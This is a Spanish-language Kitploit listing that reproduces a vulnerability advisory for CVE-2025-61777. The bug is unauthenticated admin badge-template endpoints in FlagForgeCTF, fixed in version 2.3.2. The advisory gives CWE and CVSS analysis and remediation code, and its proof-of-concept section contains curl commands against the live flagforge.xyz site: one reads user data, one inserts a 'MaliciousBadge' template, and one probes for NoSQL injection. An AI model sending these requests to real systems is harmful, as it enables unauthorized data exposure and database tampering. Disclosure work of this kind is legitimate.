Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-61777 — CVE en FlagForgeCTF en las versiones v2.0.0 a v2.3.1. Actualizado a la versión 2.3.2 para corregir el problema. | Kitploit
Herramientas/GitHubGitHub/0x0w1z/cve-2025-61777
Análisis de VulnerabilidadesExplotaciónSeguridad WebPruebas de PenetraciónSeguridad de APIs
GitHub0x0w1z/cve-2025-61777

CVE-2025-61777

CVE en FlagForgeCTF en las versiones v2.0.0 a v2.3.1. Actualizado a la versión 2.3.2 para corregir el problema.

Ver Repositorio
2hace 10 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-61777

1. Modificación no autorizada de plantillas de insignias en FlagforgeCTF CVE-2025-61777

Resumen

La aplicación Flagforge (https://flagforge.xyz) expone vulnerabilidades críticas en sus endpoints de API administrativa, específicamente /api/admin/badge-templates (GET) y /api/admin/badge-templates/create (POST). Ambos endpoints carecen de controles de autenticación y autorización, lo que permite a usuarios no autenticados recuperar datos sensibles de plantillas de insignias y crear plantillas arbitrarias en la base de datos MongoDB. Esto podría provocar exposición no autorizada de datos, contaminación de la base de datos o abuso del sistema de insignias (por ejemplo, creando plantillas maliciosas o de spam).

Descripción

Endpoints afectados

  1. GET /api/admin/badge-templates:
    • Devuelve un array JSON de todas las plantillas de insignias almacenadas en la colección badgeTemplates de MongoDB.
    • Los campos expuestos incluyen _id, name, description, icon, color, isActive, createdBy, createdAt, updatedAt y __v.
    • No se requieren cabeceras de autenticación, claves API ni comprobaciones de sesión, lo que hace que el endpoint sea accesible públicamente.
    • Respuesta de ejemplo (desde cURL):
root@kitploit:~
    x0w1z   ~  curl -i https://flagforge.xyz/api/admin/badge-templates
HTTP/2 200
access-control-allow-origin: https://flagforge.xyz
age: 0
cache-control: no-store, no-cache, must-revalidate, proxy-revalidate
content-type: application/json
date: Sat, 27 Sep 2025 11:17:35 GMT
permissions-policy: geolocation=(), microphone=(), camera=(), payment=()
pragma: no-cache
referrer-policy: no-referrer
server: Vercel
strict-transport-security: max-age=31536000; includeSubDomains; preload
vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch
x-content-type-options: nosniff
x-frame-options: DENY
x-matched-path: /api/admin/badge-templates
x-vercel-cache: MISS
x-vercel-id: bom1::iad1::kbnlf-1758971855497-e981648f08c6
x-xss-protection: 1; mode=block
{"success":true,"templates":[{"_id":"68d18c6b3ddde4c2825273a1","name":"Staff","description":"Awarded for behind-the-scenes work that powers the community forward.","icon":"/badges/images/badge-1758563431839-63u7vxws5u.png","color":"#8B5CF6","isActive":true,"createdBy":"Lagzen Thakuri","createdAt":"2025-09-22T17:50:35.138Z","updatedAt":"2025-09-22T17:50:35.138Z","__v":0},{"_id":"68d18c073ddde4c282527398","name":"Bug Hunter","description":"Awarded for sharp eyes and a hacker’s mindset in finding weaknesses.","icon":"/badges/images/badge-1758563324750-h7zfukwxw7.png","color":"#8B5CF6","isActive":true,"createdBy":"Lagzen Thakuri","createdAt":"2025-09-22T17:48:55.675Z","updatedAt":"2025-09-22T17:48:55.675Z","__v":0},{"_id":"68ccfd395b3791025b51c200","name":"Security Researcher","description":"Earned by pushing boundaries and digging deeper into security.","icon":"/badges/custom/badge-1758264629375-0y4fdhdxjy5.png","color":"#8B5CF6","isActive":true,"createdBy":"[email protected]","createdAt":"2025-09-19T06:50:33.108Z","updatedAt":"2025-09-19T06:50:33.108Z","__v":0}],"count":3}%
  1. POST /api/admin/badge-templates/create:
    • Permite la creación de nuevas plantillas de insignias con campos controlados por el usuario: name, description, icon, color, isActive y createdBy.
    • Validación mínima que comprueba la presencia de name, description e icon, y garantiza que no exista un name duplicado.
    • Sin comprobaciones de autenticación o autorización, lo que permite a cualquier persona insertar datos en la base de datos.
    • Código de ejemplo (del código fuente proporcionado):
      root@kitploit:~
      const templateDoc = {
        name: name.trim(),
        description: description.trim(),
        icon: icon.trim(),
        color: color || '#8B5CF6',
        isActive: isActive !== undefined ? isActive : true,
        createdAt: new Date(),
        createdBy: createdBy || 'unknown'
      };
      const result = await db.collection('badgeTemplates').insertOne(templateDoc);
      

Debilidades

  • CWE-200: Exposición de información sensible a un actor no autorizado (endpoint GET): Expone identificadores de usuario (por ejemplo, Lagzen Thakuri, [email protected]) y metadatos, lo que permite reconocimiento o phishing.
  • CWE-306: Autenticación faltante para función crítica (ambos endpoints): Sin controles de acceso en rutas administrativas.
  • CWE-284: Control de acceso inadecuado (ambos endpoints): Permite la recuperación y modificación no autorizada de datos.
  • Posible inyección NoSQL: Mientras que el endpoint POST desestructura explícitamente los campos, el endpoint GET podría ser vulnerable si admite parámetros de consulta (por ejemplo, ?name[$ne]=test).
  • Riesgo de contaminación de registros: El endpoint POST registra name y createdBy controlados por el usuario, lo que podría ser explotado para spam de registros o inyección.

Puntuación CVSS v3.1

  • Puntuación base: 9.1 (Crítica)
  • Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
    • Vector de ataque (AV): Red (endpoints accesibles públicamente).
    • Complejidad del ataque (AC): Baja (no se requieren condiciones especiales).
    • Privilegios requeridos (PR): Ninguno (no se necesita autenticación).
    • Interacción del usuario (UI): Ninguna (solicitudes HTTP directas).
    • Alcance (S): Sin cambios (afecta a la propia aplicación).
    • Confidencialidad (C): Alta (expone datos de usuario).
    • Integridad (I): Alta (permite la creación arbitraria de datos).
    • Disponibilidad (A): Baja (posible DoS mediante la creación masiva de plantillas).

Sistemas afectados

  • Aplicación: Flagforge (https://flagforge.xyz)
  • Componentes:
    • Rutas API de Next.js: /api/admin/badge-templates (GET) y /api/admin/badge-templates/create (POST).
    • Base de datos MongoDB: colección badgeTemplates.
  • Alojamiento: Vercel (serverless, inferido de la cabecera server: Vercel).
  • Versiones: Desconocidas (se asume Next.js 13+ según la sintaxis de NextRequest/NextResponse).
  • Dependencias: Controlador de MongoDB (a través de la utilidad de conexión personalizada @/utlis/db), Next.js.

Impacto

  • Confidencialidad: Exposición de identificadores de usuario (createdBy) y metadatos (createdAt, updatedAt), que podrían utilizarse para ingeniería social o ataques dirigidos.
  • Integridad: Creación no autorizada de plantillas de insignias, lo que podría provocar spam, phishing o la visualización de contenido malicioso en la aplicación.
  • Disponibilidad: Posible denegación de servicio (DoS) inundando el endpoint POST con creaciones de plantillas, consumiendo recursos de la base de datos.
  • Explotabilidad: Alta, ya que los endpoints son accesibles públicamente mediante simples solicitudes HTTP (por ejemplo, cURL, Postman) sin barreras de autenticación.

Prueba de concepto

  1. Recuperar datos sensibles (GET):

    root@kitploit:~
    curl https://flagforge.xyz/api/admin/badge-templates
    
    • Devuelve una lista JSON de todas las plantillas de insignias, incluidos campos sensibles como createdBy (por ejemplo, [email protected]).
  2. Crear plantilla no autorizada (POST) y eliminar las plantillas (DELETE):

    root@kitploit:~
    curl -X POST https://flagforge.xyz/api/admin/badge-templates/create \
      -H "Content-Type: application/json" \
      -d '{"name":"MaliciousBadge","description":"Hacked","icon":"evil.svg","createdBy":"attacker"}'
    
    • Crea una nueva plantilla en la colección badgeTemplates.
    • Elimina las plantillas de insignias.
    • Verificar volviendo a ejecutar la solicitud GET para confirmar que aparece la nueva plantilla.
  3. Posible inyección NoSQL (GET, si se admiten parámetros de consulta):

    root@kitploit:~
    curl https://flagforge.xyz/api/admin/badge-templates?name[$regex]=.*
    
    • Probar si el endpoint procesa operadores de MongoDB, lo que podría eludir filtros o exponer datos adicionales.

Recomendaciones

Correcciones inmediatas

  1. Implementar autenticación:
    • Añadir middleware para verificar la identidad del usuario (por ejemplo, JWT, NextAuth.js o claves API) en ambos endpoints.
      root@kitploit:~
      // Ejemplo de middleware para el endpoint POST
      export async function POST(request: NextRequest) {
        const authHeader = request.headers.get('authorization');
        if (!authHeader || !verifyToken(authHeader)) { // Implementar verifyToken
          return NextResponse.json({ error: 'Unauthorized' }, { status: 401 });
        }
        // ... código existente ...
      }
      
  2. Restringir el endpoint GET:
    • Limitar el endpoint GET a administradores autenticados o devolver datos mínimos (por ejemplo, excluir createdBy).
    • Si se admiten parámetros de consulta, sanear las entradas para prevenir la inyección NoSQL.

Referencias

  • CWE-200: https://cwe.mitre.org/data/definitions/200.html
  • CWE-306: https://cwe.mitre.org/data/definitions/306.html
  • CWE-284: https://cwe.mitre.org/data/definitions/284.html
  • OWASP API Security Top 10: https://owasp.org/www-project-api-security/
  • Calculadora CVSS v3.1: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator
Descargar herramienta